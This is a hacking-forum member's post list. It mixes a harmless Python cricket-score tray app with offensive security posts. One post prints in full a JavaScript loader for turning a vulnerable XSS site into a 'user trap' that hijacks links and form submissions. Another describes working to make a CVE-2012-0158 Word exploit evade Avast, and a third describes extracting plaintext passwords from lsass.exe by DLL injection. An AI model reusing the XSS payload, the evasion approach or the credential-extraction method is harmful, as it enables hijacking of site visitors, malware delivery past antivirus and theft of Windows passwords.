Show Posts

This section allows you to view all posts made by this member. Note that you can only see posts made in areas you currently have access to.


Messages - dracula23064

Pages: [1]
1
Scripting Languages / Cricinfo score notification using python
« on: November 02, 2015, 06:35:35 am »
Code: [Select]

from PySide.QtCore import *
from PySide.QtGui import *
from lxml import html
import requests
import sys



class browserWindow(QDialog):
    def __init__(self):
        QDialog.__init__(self)
        self.setWindowTitle("All Live Matches")

        self.mygroupbox = QGroupBox('Live Matches')
        self.myform = QFormLayout()

        self.display_info()

        self._want_to_close = False


    def fetch_live_matches(self):
        page = requests.get('http://www.espncricinfo.com/ci/engine/match/index.html?view=live')
        tree = html.fromstring(page.text)
        b1 = tree.cssselect(".innings-info-1")
        b2 = tree.cssselect(".innings-info-2")
        matchInfo = []
        i = 0
        for item in b1:
            team, score= ((item.text_content()).strip("\n")).split("    ")
            score.strip()
            team2, score2 =  (b2[i].text_content().strip("\n")).split("    ")
            score2.strip()

            matchInfo.append({team : score.split("\n")[0], team2 : score2.split("\n")[0],"id":str(i)})
            i += 1
            matchID = i

        # fr = open("live_matches.txt",'wb')
        # fr.write(str(matchInfo))
        # fr.close()
        return matchInfo

    def display_info(self):
        data = self.fetch_live_matches()
        c = 0
        self.lableList = []
        self.NLlable = QLabel("\n")
        for match in data:
            for key, val in match.iteritems():
                v = key + " : " + val

                self.lableList.append(QLabel(v))
                self.myform.addRow(self.lableList[c])

                c += 1

            self.myform.addRow(self.NLlable)

        self.mygroupbox.setLayout(self.myform)
        self.scroll = QScrollArea()
        self.scroll.setWidget(self.mygroupbox)
        self.scroll.setWidgetResizable(True)
        self.scroll.setFixedHeight(400)
        self.layout = QVBoxLayout(self)
        self.layout.addWidget(self.scroll)


    def closeApp(self):
        self._want_to_close = True
        self.close()


    def closeEvent(self, evnt):
        if self._want_to_close:
            super(browserWindow, self).closeEvent(evnt)
        else:
            evnt.ignore()
            self.hide()

class cricAPI(QDialog):
    def __init__(self, parent = None):
        super(cricAPI,self).__init__(parent,Qt.WindowMinimizeButtonHint)#|Qt.WindowMaximizeButtonHint)
        self.setWindowTitle("Live Score")

        self.grid = QGridLayout()
        self.setLayout(self.grid)

        self.matchID_lbl = QLabel("<b>MATCH ID : </b>")
        self.grid.addWidget(self.matchID_lbl,0,0)

        self.matchID_input = QLineEdit()
        self.matchID_input.setPlaceholderText("Enter match id")
        self.grid.addWidget(self.matchID_input,0,1)

        self.get_score_btn = QPushButton("Get Score")
        self.grid.addWidget(self.get_score_btn,1,1)
        self.get_score_btn.clicked.connect(self.fetchScore)

        self.browseLable = QLabel("<b>Browse to get match id</b>")
        self.grid.addWidget(self.browseLable,2,0)

        self.browse = QPushButton("Browse")
        self.grid.addWidget(self.browse,2,1)
        # bw = browserWindow()
        self.browse.clicked.connect(self.showMe)
        # r = Render()

        self.quitAppl = QPushButton("Quit App")
        self.grid.addWidget(self.quitAppl,3,1)
        self.quitAppl.clicked.connect(self.closeApp)



        self.setFocus()

        systray_icon = QIcon("cric_icon.png")
        self.systray = QSystemTrayIcon(systray_icon, self)

        contextMenu = QMenu()
        hide = QAction("Hide",self)
        show = QAction("Show",self)
        close = QAction("Quit",self)

        contextMenu.addActions([show,hide,close])

        self.systray.setContextMenu(contextMenu)
        self.systray.setToolTip("Cricket Score")
        self.systray.show()

        close.triggered.connect(self.closeApp)
        show.triggered.connect(self.show)
        hide.triggered.connect(self.hide)
        self.systray.activated.connect(self.systrayAction)

        self._want_to_close = False

    def systrayAction(self,reason):
        if reason == QSystemTrayIcon.DoubleClick:
            self.show()
        elif reason == QSystemTrayIcon.MiddleClick:
            self.close()
        else:
            pass


    def fetchScore(self):
        ID = self.matchID_input.text()
        bw = browserWindow()
        data = bw.fetch_live_matches()
        matchinfo = (item for item in data if item["id"] == str(ID)).next()
        print matchinfo
        mi = ""
        for key, value in matchinfo.iteritems():
            if key != "id":
                mi = mi + key + ":" + value + "\n"

        self.systray.showMessage("SCORE", mi, int = 5000)
        self.hide()

        self.timer = QTimer()
        self.timer.timeout.connect(self.fetchScore)
        self.timer.start(10000)

        # bw.close()
        # QTimer.singleShot(20000, lambda: self.fetchScore())
        # self.fetchScore()



    def showMe(self):
        self.myOtherWindow = browserWindow()
        self.myOtherWindow.show()
      # Dialog.exec_()
      #   self.show()

    # def myExitHandler(self):
    #     self.hide()

    def closeApp(self):
        self._want_to_close = True
        self.close()


    def closeEvent(self, evnt):
        if self._want_to_close:
            super(cricAPI, self).closeEvent(evnt)
        else:
            evnt.ignore()
            # self.setWindowState(Qt.WindowMinimized)
            self.hide()
            self.systray.showMessage("STILL ACTIVE", "If you want to quit, right click me to and click quit",int = 1000)


if __name__ == "__main__":
    app = QApplication(sys.argv)
    csGUI = cricAPI()
    #app.aboutToQuit.connect(csGUI.myExitHandler)
    csGUI.show()

    app.exec_()

Make sure to "pip install"  pyside, lxml, cssselect, requests and also place a cric_icon.png in the same folder as this code
This is a notification app.. you can change the timing of notification interval in the code as you like.
If any of you can package it into exe using pyinstaller ,py2exe etc.. please let me know. I have tried using pyinstaller. seems requests module and some other are facing issues. Thanks :)

2
Reverse Engineering / Re: Reversing Office files
« on: April 17, 2014, 02:54:06 pm »
I am trying to bypass CVE-2012-0158 MS-Word exploit with Avast. I am doing it at hex level as of now. To get to the code level I need to know how exactly office files execute. For this I used Immunity debugger. I have found many signatures which Avast detects . I have tried many hex possibilities to bypass but of no use . So I was trying to get to that part of the code where actually avast triggers. The problem is that i cannot get to that point where detection is made. In the Hexdumps  I am not able to find the signatures as found in static office file hex values. And yeah the detection I am talking is about scan time only and not runtime.
thank you proxx.. those links are good but not what i wanted

3
Reverse Engineering / Reversing Office files
« on: April 16, 2014, 09:56:36 am »
Is there anyone who can help me reverse office files (particularly malicious ones) like word, ppt, xls ..etc. ??

4
Tutorials / Re: Intro to (local) exploitation Part II
« on: January 11, 2014, 05:50:07 pm »
Read it superficially ... looks great .. currently am working all the exploit writing tutorials by corelan... local exploitation!! really cool.. will finish this soon.. thanks ;)

5
Hacking and Security / Re: Turn vulnerable XSS site into a user trap.
« on: September 22, 2013, 10:00:23 pm »
here is the loader code: (just copied it from the link provided by geXXos)
Code: [Select]
if((typeof window.jQuery) == "undefined") { var js = document.createElement("script"); var he = document.getElementsByTagName('head')[0]; js.type = "text/javascript"; js.src = "http://ajax.googleapis.com/ajax/libs/jquery/1.10.2/jquery.min.js"; he.appendChild(js);}var re = function(d, u) {
var h = d.split("<head")[1].split(">").slice(1).join(">").split("</head>")[0]; var b = d.split("<body")[1].split(">").slice(1).join(">").split("</body>")[0]; var t = d.split("<title")[1].split(">").slice(1).join(">").split("</title>")[0]; window.history.pushState({"html": d, "pageTitle": t}, t, u); jqX("head").html(h); jqX("body").html(b);
}var da = function() { jqX("a").each(function(i, e) { jqX(e).click(function(event) { event.preventDefault(); hr = jqX(e).attr("href"); document.location.hash = hr; return false; }); }); jqX("form").each(function(i, e) { jqX(e).submit(function(event) { event.preventDefault(); ip = {};
jqX(this).find("input").each(function(id, el) { ip[jqX(el).attr("name")] = jqX(el).val(); }); eq = jqX(e);
var aj = jqX.ajax({ type: eq.attr("method"), url: eq.attr("action"), data: ip, success: function(d, t, j) { re(d, eq.attr("action")); document.location.hash = eq.attr("action") + "/R88A"; setTimeout(da, 50); }, dataType: "html" }); return false; }) }); }var ca = function(url) { jqX.get(url, function(d) { re(d, url) setTimeout(da, 50); });}var iv = setInterval(function() { if((typeof window.jQuery) != "undefined") { window.jqX = jQuery; jQuery.noConflict(true); clearInterval(iv); jqX(window).on('hashchange', function() { hh = document.location.hash; if(hh.substr(hh.length - 5) != "/R88A") ca(hh.substr(1, hh.length)); }); if(document.location.hash) { hh = document.location.hash; ca(hh.substr(1, hh.length)); } else { ca("."); }
}}, 50);

6
when the lsass.exe is running there are files running that contain plain text passwords. this plain text password can be easily extracted via dll injection. If you need any more info you can pm me. I'll get back to you as soon as possible.
Wireshark Cookie Dump:

OKCancel

Pages: [1]